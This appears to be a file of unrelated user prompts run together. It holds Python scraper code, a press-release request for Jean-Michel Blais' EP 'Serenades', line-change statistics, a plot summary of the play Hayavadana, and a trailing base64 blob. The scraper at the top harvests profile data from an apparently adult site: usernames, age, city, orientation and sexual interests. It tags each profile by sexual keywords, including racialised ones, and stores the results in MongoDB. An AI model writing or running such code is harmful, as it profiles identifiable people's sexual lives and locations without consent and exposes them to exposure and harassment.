response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[3]/div[5]/div[2]/div[4]/div[2]/div[2]/text()\').get(),\n \'About\' : response.xpath(\'/html/body/div[3]/div/div[2]/div/div[2]/div/main/div/div[1]/div/text()\').get(),\n \'Into\' : response.xpath(\'/html/body/div[3]/div/div[2]/div/div[2]/div/main/div/div[4]/div/div/div/text()\').get(),\n \'Groups\' : response.xpath(\'/html/body/div[3]/div/div[2]/div/div[2]/div/aside[1]/div/div[3]/text()\').get()\n }\n\n # Define a list of strings to search for\n bbc\\_search\\_strings = [\'bbc\', \'black cock\', \'black male\', \'blacks\']\n\n # Initialize bbc\\_search\\_found to False\n bbc\\_search\\_found = False\n\n # Check if any of the strings exist in the data dictionary\n for search\\_string in bbc\\_search\\_strings:\n if any(search\\_string.lower() in str(value).lower() for value in data.values()):\n # If the string is found, add a column to the MongoDB collection\n bbc\\_search\\_found = True\n break # Exit the loop if the string is found\n\n # Define a list of strings to search for\n breed\\_search\\_strings = [\'breed\', \'bred\', \'breeding\', \'pregnant\', \'impregnated\']\n\n # Initialize bbc\\_search\\_found to False\n breed\\_search\\_found = False\n\n # Check if any of the strings exist in the data dictionary\n for search\\_string in breed\\_search\\_strings:\n if any(search\\_string.lower() in str(value).lower() for value in data.values()):\n # If the string is found, add a column to the MongoDB collection\n breed\\_search\\_found = True\n break # Exit the loop if the string is found\n # Define a list of strings to search for\n cleanup\\_search\\_strings = [\'cleanup\', \'clean-up\', \'clean up\', \'cleaning up\', \'cleans up\', \'clean creampie\', \'cleans creampie\', \'lick creampie\', \' licks creampie\', \' licking creampie\', \'eat creampie\', \' eats creampie\', \'eating creampie\', \'suck creampie\', \'sucks creampie\', \'sucking creampie\', \'creampie eat\', \'creampie eating\', \'creampie lick\', \'creampie licking\']\n\n # Initialize bbc\\_search\\_found to False\n cleanup\\_search\\_found = False\n \n # Check if any of the strings exist in the data dictionary\n for search\\_string in cleanup\\_search\\_strings:\n if any(search\\_string.lower() in str(value).lower() for value in data.values()):\n # If the string is found, add a column to the MongoDB collection\n cleanup\\_search\\_found = True\n break # Exit the loop if the string is found\n # Define a list of strings to search for\n cheat\\_search\\_strings = [\'cheat\', \'cheats\', \'cheating\', \'cheated\', \'unfaithful\', \'infidelity\', \'cheater\']\n\n # Initialize bbc\\_search\\_found to False\n cheat\\_search\\_found = False\n\n # Check if any of the strings exist in the data dictionary\n for search\\_string in cheat\\_search\\_strings:\n if any(search\\_string.lower() in str(value).lower() for value in data.values()):\n # If the string is found, add a column to the MongoDB collection\n cheat\\_search\\_found = True\n break # Exit the loop if the string is found\n # Define a list of strings to search for\n cuckold\\_search\\_strings = [\'cuck\', \'cucks\', \'cuckold\', \' cuckolds\', \'cuckolding\', \'corno\']\n\n # Initialize bbc\\_search\\_found to False\n cuckold\\_search\\_found = False\n \n # Check if any of the strings exist in the data dictionary\n for search\\_string in cuckold\\_search\\_strings:\n if any(search\\_string.lower() in str(value).lower() for value in data.values()):\n # If the string is found, add a column to the MongoDB collection\n cuckold\\_search\\_found = True\n break # Exit the loop if the string is found\n\n collection.update\\_one(\n {\'url\': response.url},\n {\'$set\': {\n \'Profile Image\': data[\'Profile Image\'],\n \'Username\': data[\'Username\'],\n \'Age\': data[\'Age\'],\n \'Gender\': data[\'Gender\'],\n \'City 1 URL\': data[\'City 1 URL\'],\n \'City 1 Text\': data[\'City 1 Text\'],\n \'Area URL\': data[\'Area URL\'],\n \'Area Text\': data[\'Area Text\'],\n \'Country URL\': data[\'Country URL\'],\n \'Country Text\': data[\'Country Text\'],\n \'Roles\': data[\'Roles\'],\n \'Orientation\': data[\'Orientation\'],\n \'Active\': data[\'Active\'],\n \'Looking For\': data[\'Looking For\'],\n \'About\': data[\'About\'],\n \'Into\': data[\'Into\'],\n \'Groups\': data[\'Groups\'],\n \'parsed\': True,\n \'Search BBC\': bbc\\_search\\_found,\n \'Search Breed\': breed\\_search\\_found,\n \'Search Cheat\': cheat\\_search\\_found,\n \'Search Cleanup\': cleanup\\_search\\_found,\n \'Search Cuckold\': cuckold\\_search\\_found,\n\n }},\n upsert=True\n )' -'Hi I have a draft press for Jean-Michel Blais\' new album here: \n\n\\*\\*UNDER EMBARGO UNTIL XX\\*\\*\nMERCURY KX ANNOUNCES JEAN-MICHEL BLAIS\' NEW EP "SERENADES"\nMontreal-based post-classical pianist and composer Jean-Michel Blais is pleased to announce his new EP “Serenades”, out March 10th on Mercury KX. The EP is the solo piano companion to Blais’ highly successful and loved album “Aubades”, released this past February.\n“Serenades” is the nocturnal companion to the brightness of “Aubades”, and features intimate and atmospheric solo piano versions of key tracks from the album, including “Amour”, “Ouessant”, and “Murmures”. It also features three new tracks: “117 (Bach)”, “La Chute”, and “Morning (Improv)”. “La Chute” (“The Fall”) was especially composed for the left hand, due to a right arm injury Blais suffered after falling on ice before a performance. This inspired him to write this piece particularly for the left hand. The first single “Ouessant” (Piano) is a melancholic slow wander through luminous and soothing solo piano soundscapes.\n“Serenades” is a testament to Blais’ musical prowess and ability to create captivating and moving musical landscapes. It’s sure to be a stunning addition to Blais’ already impressive discography.\n\n---\n\nI have written it based on the following information:\n\nJEAN-MICHEL BLAIS DECCA BIO:\nJean-Michel Blais - Biography\n \nJean-Michel Blais is a post-classical pianist and composer living in Montreal, Canada.\n \nBlais grew up in a rural French Catholic town in Quebec and began tinkering on his family\'s organ at age 9. By 11, he began writing original compositions and taking piano lessons. A natural talent, by 17 he was invited to the Trois-Rivieres Music Conservatory and began training as a classical pianist. The constraints of formal training began to wear on Blais who started to gravitate towards experimentation and improvisation. He eventually left the school and put aside his musical path.\n \nIn his mid-20s, Blais traveled to Europe and Latin America, studied special education, liberal arts and psychology, while moving to Berlin for about a year and six months in Buenos Aires, before settling in Montreal where he rediscovered his love for composing and performing, which caught the ear of Toronto-based indie label Arts & Crafts.\n \nBlais’ debut album, Il, was written and recorded in his apartment over two years of daily improvisations. It was released on April 8, 2016, and amassed over 50 million streams worldwide, reaching #1 on Billboard’s Classical chart in Canada 14 times, earning a Polaris Music Prize long list nomination and a spot on Time Magazine’s Top ten albums of 2016.\n \nThe following year, Blais performed at the prestigious Red Bull Music Academy in collaboration with Grammy-nominated producer CFCF. This spurred a partnership between the two musicians that yielded Cascades, a collaborative EP released on March 15, 2017. The release earned praises for its brave interplay between piano and electronics, including by the likes of Pitchfork and BBC Radio 6.\n \nAfter a year of touring North America and Europe, Blais began working on his sophomore album, Dans ma main. Released on May 11, 2018. Jean-Michel Blais’ Dans ma main is an expansive album of post-classical piano music with strands of electronic detail. Recorded at night in a Steinway & Sons piano shop, Blais blends his classical skill and precise pop sensibility with synthetic accompaniment, which creates unique environments where the piano’s intimacy can be subtly disrupted at any time. Dans ma main earned a Polaris Music Prize short list nomination.\n \nFascinated with the cathartic response of worldwide audiences to his pin-drop performances, Blais considers how music has served as a tool of wellness in his own life: from his early career in special education, to his parents’ use of ambient music to soothe the Tourettic symptoms he’s been suffering from since childhood. On Dans ma main, Jean-Michel calls upon these periods of his life, reimagining a serenity that he previously found only seated at a piano.\n \nIn the spring of 2018, when asked by his landlord to leave his beloved apartment where he recorded his debut album Il, Blais invited friends and family in his bedroom to take part into an intimate series of home concert and recording sessions, which gave birth to his sophomore EP, Eviction sessions, released on Novembre 18, 2018.\n---\nTIMELINE FOR “SERENADES”:\n(8 July - amour (piano) - out already)\n18 Nov: ouessant (piano) - Single 2 (no EP announcement)\n20-29 Jan: Concerts in Toronto, NYC & Quebec - should EP be announced by the 20th?\n3 Feb: EP announcement & la chute (Single 3)\n10 Mar: serenades EP release + yanni (piano) - focus track\n---\n \n \nTRACKLIST FOR “SERENADES”:\n117 (bach)\namour (piano)\nla chute\nmorning (improv)\nflâneur (piano)\nyanni (piano)\nouessant (piano)\nmurmures (piano)\n---\n \n---\n \n---\nJEAN-MICHEL BLAIS PREVIOUS ALBUM “aubades”:\naubades, the new album from post-classical piano icon Jean-Michel Blais, marks the Montreal-born musician’s transition from pianist to composer, as he writes for an ensemble for the first time in his career. Written during the pandemic and following a breakup, Blais has used his distinctive musical voice to create a defiantly uplifting record with glistening instrumental textures and warm major tonalities. The album’s title refers to the “aubade”, a Middle Ages morning love song about lovers separating at daybreak, a dawn serenade.\n \nDespite the difficult global and personal backdrop, Blais described the time writing this album as a “fruitful moment of creativity for me. We started having hares in the park, beautiful butterflies flying everywhere. It was a time of lots of blossoming, and also a moment when I blossomed from being a pianist into a composer.” Musical ideas captured in over 500 recorded piano improvisations were transformed by Blais into 11 compositions performed by a 12-person ensemble. During the composition process, Blais collaborated with Alex Weston, former music assistant to Philip Glass. The musicians were recorded with close-up microphones, creating a richly intimate atmosphere that captures the human behind each instrument, from the mechanics of the woodwind keys to the snap of a double bass string.\n---\nBACKGROUND ARTICLE (ON CLASSIC FM SITE) ON THE HISTORY OF PIECES FOR LEFT HAND PIANO\n \nThe best classical music for piano left hand\n12 August 2014, 12:56 | Updated: 6 January 2017, 14:45\n \nFacebook share Twitter share\nIn celebration of International Left Handers Day, we\'re investigating the top ten pieces of piano music composed specifically for the left hand, as chosen by one-handed piano virtuoso, Nicholas McCarthy.\n \n1. Prelude and Nocturne Op. 9 - Scriabin\n \nAfter injuring his right hand learning some of Liszt\'s more challenging music, Scriabin was forced to re-evaluate his priorities and change the way he composed, shifting the emphasis onto his uninjured left hand. Much of the music he went on to write sounds fiendishly difficult, making the most of the capabilities of his only working hand - but he also composed two pieces for left hand only. After much soul-searching, the result is this, one of Scriabin\'s most beautiful and introspective pieces.\n \n \n \n \n \n2. Piano Concerto for the Left Hand - Ravel\n \nEven before this piece was premiered in 1932, pianist Alfred Cortot had made an arrangement for piano two-hands and orchestra. But Ravel, who wrote the music especially for Austrian pianist Paul Wittgenstein after he lost his arm in the war, forbade the performance of the new arrangement. It\'s not a wonder he was frustrated: before writing the work, he studied Saint-Saëns\' left hand études religiously, absorbing as many of his techniques as possible.\n \n \n \n \n3. Chaconne in D minor - Bach/Brahms\n \nADVERTISING\n \nThere\'s nothing like getting stuck in to some truly meaty Bach keyboard music. So, imagine Clara Schumann\'s frustration when she injured her right hand and could no longer play the music she knew and loved. Luckily, Brahms came to the rescue with this ingenious arrangement of his hypnotic Chaconne in D minor. It may only be played with one hand, but Brahms manages to bring out every one of Bach\'s original voices. Genius.\n \n \n \n \n4. Etude Op. 25 No. 12 \'Ocean\' - Chopin arr. Godowsky\n \nThey\'re known as the most difficult piano pieces in the left-hand repertoire, and after listening to these waves upon waves of notes, it\'s easy to see why. Chopin\'s études - challenging enough at the best of times - have been transformed by Polish composer Godowsky into a series of incredible studies and mind-bending technical exercises, including transferring the technically difficult passages between hands, interweaving separate études to form one individual piece, and transcribing this entire étude for left hand solo.\n \n \n \n5. Three Improvisations - Bridge\n \nEerie and beautiful, these \'improvisations\' by English composer Frank Bridge were written for his friend Douglas Fox, who lost his arm during the First World War. With sparing use of the piano pedals, the heavy bass chords ring out as the left hand glides over the piano\'s upper register.\n \n \n \n \n6. Piano Concerto for Left Hand - Korngold\n \nThe man behind Ravel\'s piano concerto for left hand, Paul Wittgenstein, is really the man to thank when it comes to commissioning music for the left hand. He approached Richard Strauss, Prokofiev, and Hindemith - but it\'s Korngold who stole the show. Wittgenstein was so happy with this work that he commissioned another piece, a suite for 2 violins, cello and piano left-hand, Op. 23.\n \n \n \n \n7. Diversions - Britten\n \nLooking at the score, it\'s hard to believe this explosive piece is written for just one hand. With its cascading quavers and impressive passages jumping across the entire length of the piano, this is the ultimate in left hand piano fireworks - and once again, we have Paul Wittgenstein to thank for its existence.\n \n \n \n \n8. Piano Sonata in C Minor - Reinecke\n \nWhile Reinecke may not be the most high-profile of composers, his Opus 179 sonata has made its mark on the world of left hand piano music. There\'s a reason for that: give this a listen for a healthy dose of bombastic, Romantic piano music.\n \n \n \n9. Six études for the left hand - Saint-Saëns\n \nDespite their sheer brilliance, Saint-Saëns\' piano études are often overlooked. Every movement requires absolute independence for each individual finger, regardless of hand shape or strength. It\'s these pieces Ravel studied so diligently when embarking on his left hand piano concerto, and it\'s easy to see why.\n \n \n \n10. 4 Special Studies - Reger\n \nGerman composer Max Reger brings grace and personality to these cheery piano works, making even the most simple techniques sound impressive. Watch how the left hand trips over the piano with ease, bringing out individual parts across the entire range of the piano.\n---\nKEY INFO ON THE NEW ALBUM:\n \nKEY INFO\n \nnew single ouessant (piano) is a melancholic slow wander through luminous and soothing solo piano soundscapes\nannouncing 10 Jan: sérénades is the solo piano companion EP to the highly-successful and loved album aubades (album of vibrant, sweeping works for chamber ensemble released this past February 2022)\nsérénades is the nocturnal companion to the brightness of aubades\ninspired by Franz Liszt’s solo piano reductions\nfeatures intimate & atmospheric solo piano versions of key tracks from aubades - amour, ouessant, murmures\nfeatures three new tracks - 117 (bach), la chute, morning (improv)\nla chute (‘the fall’) - composed for the left hand due to a right arm injury after falling on ice before a performance; this inspired him to write this piece particularly for left hand\ninfluencer duet campaign to follow for la chute - inviting people to provide their right-hand duet with Jean-Michel\n--\nCould you list some more things I could include?' -'{"uninitvar": {"lines:removed": [-2, -21, -21, -18, -3, -3, 0, -11, -66, -52, -9, 0, -21, -21, -27, 0, 0, -56, -5, -311, -311, -13, -13, -1, -4, -8, -8, -68, -26, 0, 0, 0, 0, 0, -50, -8, -96, -8, 0, -1, -12, -1, -217, -217, -31, -1, -24, -24, -24, -24, -24, -137, -53, -53, -9, 0, 0, 0, -4, -7, -23, -26, 0, 0, -7, 0, -2, -6, -3, 0, 0, 0, 0, -90, -199, 0, -24, -25, 0, 0, 0, -155, -41, -53, -29, -21, -13, -5, -53, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -2, 0, -66, -63, -23, 0, 0, -2, -14, 0, -34, -9, -9, 0, -15, -1, -4, -13, -13, -38, -110, -2, 0, 0, 0, -98, -3, 0, -2, -31, -31, -31, -25, -2, -39, -89, -212, 0, -26, -25, -68, -39, -28, 0, -2, -2, -1, -62, -155, -41, -66, -29, -59, -2, -35, -23, -136, -158, -719, -637, -9, -56, -599, -599, -599, -16, -8, -19, -53, -2, 0, 0, 0, -4, -65, -10, -10, -10, 0, -12, -2, -61, -189, -245, -246, -75, -92, -92, -92, -28, -6, -4, -21, -21, 0, -21, -21, -18, -3, -3, 0, -21, -21, -4, -4, -9, -2, -4, -75, 0, 0, 0, -12, -64, -2, 0, -125, -8, -32, -39, -43, -51, -51, -51, -21, 0, -44, 0, -16, -16, 0, -24, -24, -24, -24, 0, 0, 0, 0, -12, -12, -2, 0, -8, -8, -14, -29, -51, -51, -51, -30, -29, -29, -3, 0, -16, -8, -20, 0, -21, -21, -18, -28, -2, -41, -3, -3, -2, -2, -5, -5, -2, -2, -2, 0, 0, 0, 0, 0, 0, 0, -63, -2, -19, -19, -19, -1, -8, -13, 0, -11, 0, -2, -3, 0, 0, 0, -2, 0, 0, -1508, 0, -22, -5, -37, -25, -7, -1, 0, -6, -29, -24, -8, -2, -110, -11, -21, -21, -3, -3, -2, -18, -1, -54, -16, -40, -40, -40, -2, -4, -3, -1, -1, -1, -5, -170, -15, -15, -10, -10, -11, -11, 0, -1, -151, 0, 0, -44], "lines:added": [2, 39, 39, 9, 3, 3, 14, 26, 76, 25, 10, 2, 35, 35, 26, 0, 0, 56, 4, 420, 420, 136, 136, 1, 7, 39, 8, 100, 133, 0, 0, 0, 0, 0, 50, 8, 100, 8, 0, 2, 9, 1, 143, 143, 73, 1, 71, 71, 71, 71, 71, 6, 94, 94, 11, 0, 0, 0, 5, 1, 19, 13, 0, 0, 1, 0, 4, 44, 9, 0, 0, 0, 0, 173, 176, 3, 28, 1, 0, 0, 0, 71, 42, 185, 15, 16, 19, 5, 51, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 138, 4, 6, 0, 0, 2, 25, 0, 175, 8, 8, 0, 57, 1, 3, 13, 13, 46, 132, 2, 0, 0, 0, 50, 3, 0, 2, 17, 17, 17, 26, 1, 45, 207, 185, 3, 37, 1, 170, 77, 32, 0, 2, 2, 1, 65, 71, 42, 263, 15, 36, 0, 39, 24, 117, 104, 292, 300, 8, 44, 599, 599, 599, 14, 8, 32, 51, 2, 0, 0, 0, 0, 91, 10, 10, 10, 0, 18, 2, 138, 285, 79, 80, 87, 121, 121, 121, 54, 2, 1, 13, 13, 0, 39, 39, 9, 3, 3, 0, 39, 39, 15, 4, 9, 2, 4, 227, 0, 0, 0, 25, 109, 2, 0, 60, 11, 33, 38, 93, 145, 145, 145, 42, 0, 68, 0, 16, 16, 0, 56, 56, 56, 56, 0, 0, 0, 0, 18, 46, 4, 0, 56, 56, 18, 17, 145, 145, 145, 38, 38, 88, 12, 0, 14, 28, 27, 0, 39, 39, 17, 27, 5, 64, 3, 3, 3, 3, 7, 7, 3, 3, 2, 0, 0, 0, 0, 0, 0, 0, 66, 21, 55, 55, 55, 1, 28, 38, 0, 12, 0, 25, 10, 0, 0, 0, 8, 0, 0, 1180, 0, 4, 6, 73, 31, 24, 1, 0, 3, 9, 24, 2, 32, 106, 11, 39, 39, 3, 3, 6, 9, 1, 8, 22, 10, 10, 10, 2, 4, 4, 1, 1, 1, 5, 65, 2, 2, 8, 8, 7, 7, 0, 1, 4, 0, 0, 68],' -'Context:\nAct - I\nThe play opens with worship to Lord Ganesha. Bhagwata comes to the stage. He is a character in the Play and also is the narrator of the play. He seeks blessings from Lord Ganesha for the successful performance of the play. Through his narration, he takes the audience to a place, called as Dharampur and introduces the audience to the king Dharmsheel. Then he puts up some rhetorical questions on incompleteness of man and God; and also on the perfection of a man. During his narration, he introduces two characters who are mutual friends. The first one is Devdutta. He is a sharp minded and highly intellectual person. He has defeated poets and Pandits with his knowledge. He is a son of Brahmin. The second one is Kapila. He is a muscular man. He has a great physical strength and he is a son of Lohar (Black Smith). Both Devdutta and Kapila are in contrast as the former lacks power and strength, the latter lacks knowledge and intellectual. According to the playwright, the head of Devdutta (knowledge) and the body of Kapila (physical strength) accomplish a complete man. The narrator compares their pair to the pair of Ram-Laxman, Luv-Kush and Krishna-Balram. All these are the pairs of great brothers in Hindu mythology.\n\nA character, Actor-1 appears on the stage shouting and running towards Bhagwata. He tells Bhagwata that he has just seen a strange creature that looks like a horse (by face) but speaks like a man. That creature has the head of a horse and the rest of the body of a man. Without paying any heed to his talks, Bhagwata asks him to get ready for the play. But he runs away from the stage and soon after he comes back shouting again. Now a strange creature appears on the stage. As earlier described by the Actor-1, the creature has the head of a horse and the body of a man. For a moment, Bhagwata thinks that someone is wearing the mask of horse. He tries to remove the mask but realizes that it is truly half a man and a half horse. Now the creature starts to introduce itself before Bhagwata, Actor-1 and the audience.\n\nThe creature introduces himself as Hayavadana and starts to narrate his story. He tells that once upon a time, a princess had to choose a groom for her marriage. So many Princes approached from far and wide. But the princess fell in love with a horse of an Arabian Prince. She became desperate to marry that horse. Eventually her parents allowed her to do so. She was married to the horse. After 15 years of their marriage, the horse transformed into a celestial being. Now the princess rejected him as her husband. That celestial being cursed her to be a Mare (female horse) and she became so. The princess give birth to Hayavadana. Now Hayavadana wants to get rid of this cursed life. Bhagwata asks him to go to goddess Kali temple in chitrkut. He also asks the Actor-1 to accompany him on the way. They leave.\n\nNow Bhagwata moves ahead with the story of the play. Devdutta and Kapila appear on the stage. Devdutta tells Kapila that he wants to marry a woman, namely Padmini. With utmost desire to marry Padmini, he pledges to sacrifice his arms to Goddess Kali and his head to Rudra. Kapila goes to Padmini and presents the Proposal to marry Devdutta. Devdatta and Padmini Marry. By the time, Devdutta realizes that Padmini is attracted towards Kapila and vice versa. Now Padmini is pregnant. Devdutta knowingly tries to put off the program of visiting Ujjain. He tells Kapila that Padmini is ill. But Padmini gives her consent before Kapila. They all three leave for Ujjain. Padmini repeatedly praises Kapila\'s physical strength before Devdutta. Devdutta feels jealous but he does not blame Padmini. Kapila and Padmini go to Rudra Temple but Devdutta denies to accompany them. Devdutta knows that Kapila has such a physical strength and beauty that any woman can get attracted towards him. Devdutta goes to goddess Kali temple where he reminds himself of his pledge to sacrifice his head to the Goddess Kali. He Wishes for the Wellness of Kapila and Padmini. He beheads himself with a sword and dies.\n\nMeanwhile, Kapila and Padmini come out of the temple. Kapila gets worried on finding Devdutta nowhere. He leaves Padmini and starts searching for his friend. Finally he reaches in the same Temple and feels shocked to see his friend dead. He feels himself responsible for all this. Kapila takes the same sword and beheads himself. Soon Padmini reaches there and she has no clue how they got died. She considers herself responsible for the duel between the two friends and their deaths. She provokes the Goddess Kali and also tries to kill herself. The Goddess Kali appears and stops her. The Goddess asks her to place the heads with their respective body so that the Goddess will re-join them with her magical powers and bring them back to life. The Goddess also appreciates the two friends. Padmini follows the command in a hurry. The Goddess disappears. Padmini, being thankful to goddess kali, gets a bit relaxed. But soon she realizes her mistake. She has mistakenly placed the heads with irrespective body. So now Devdutta\'s head is joined with Kapila\'s body and vice versa. Soon they regain their senses. For a moment, the two friends are confused. Both make a claim for Padmini. The man with Devdutta\'s head, makes a plea that head is the master of the body. So he has the right over Padmini. The man with Kapila\'s head makes a plea that Padmini has remained with Devdutta\'s body. So he has the right over Padmini. Meanwhile Bhagwata, the narrator, comes on the stage. All the characters become statues for a moment and the narrator addresses the audience. He asks them to think of a solution to this problem. Act 1 ends.[7]\n\nAct - II\nThe act begins as the narrator repeats the same question- " What is the solution? ". He also talks about the story of ′Vikramaditya and Betaal′ [8] where the king Vikrama replies to Betaal that the mind (head) is the master of the body. It is head that gives recognition to an individual. Bhagwata tells that they all three go to a hermit seeking solution for this problem. The words of hermit are heard on the stage that Devdutta\'s head is the Swami (husband) of Padmini. Devdutta and Padmini accept this in delight. Kapila, being disappointed, leaves for the forest. The time passes. Devdutta brings some dolls. These dolls also play the role of narrator. He starts losing his physical strength and as a result they are losing mutual interest. A child is born. Devduta goes to buy new dolls from the fair in Ujjain. Bhagwata again appears on the stage and tells that Kapila has regained his physical strength. Padmini meets him in the forest and also tell him that it is Kapila\'s son as it is born from Kapila\'s body. But Kapila does not accept it. Being a little reluctant, they get ready to fulfill their physical desires.\n\nIn search of his wife, Devdutta reaches there in the forest. Finding them together, he finds himself the similar situation as he was before. To put an Ultimate end to this problem, Devdutta takes out the sword and challenges Kapila for a duel. Both gets killed. Padmini finds herself lonely. Bhagwata comes there and she hands him over the child and the same dolls. She asks him to hand it over to Devdutta\'s Brahmin father Vidyasagar after five years. She leaves the stage by declaring that she is going to perform Sati. Bhagwata decides to end the play with his speech. A loud shout is heard on the stage. Actor-1 comes and claims that he has heard Hayavadana chanting National Anthem and patriotic songs. Then Actor-2 appears with Devdutta\'s son of age 5 now. The boy has two dolls. Hayavadana comes there. Bhagwata and Actor-2 are talking lightly and creating fun. They all starts laughing. That boy too starts laughing and the dolls slip out of his hand. Bhagwata says that the boy hasn\'t expressed any emotions of happiness, anger, sorrow in past 5 years. Today he is smiling just because of Hayavadana.\n\nNow Hayavadana tells his story. when he was trying to behead himself in the temple, the goddess Kali appeared. Hayavadana tells his desire. The goddess Kali without listening to him fully, gives him blessings. Hayavadana becomes a complete Horse instead of becoming a complete man. Yet he is satisfied. He still has ability to speak like a man. He wants to lose this voice. He is singing national Anthem as he believes that people who sing national anthem, lose their voice early. Meanwhile he sobs. The boy starts singing a tragic song which was chanted by his mother, Padmini. Hayavadana tries to laugh and his voice completely changes into a horse\'. Now Hayavadana is a complete horse.\n\nBhagwata asks the Actor to go to brahmin Vidyasagar and inform him that his grandson is coming to him, riding on a great horse. Bhagwata thanks Lord Ganesha for the successful performance of the play.\n\nAim: Write an elaborate critique of the play without revealing the plot.' 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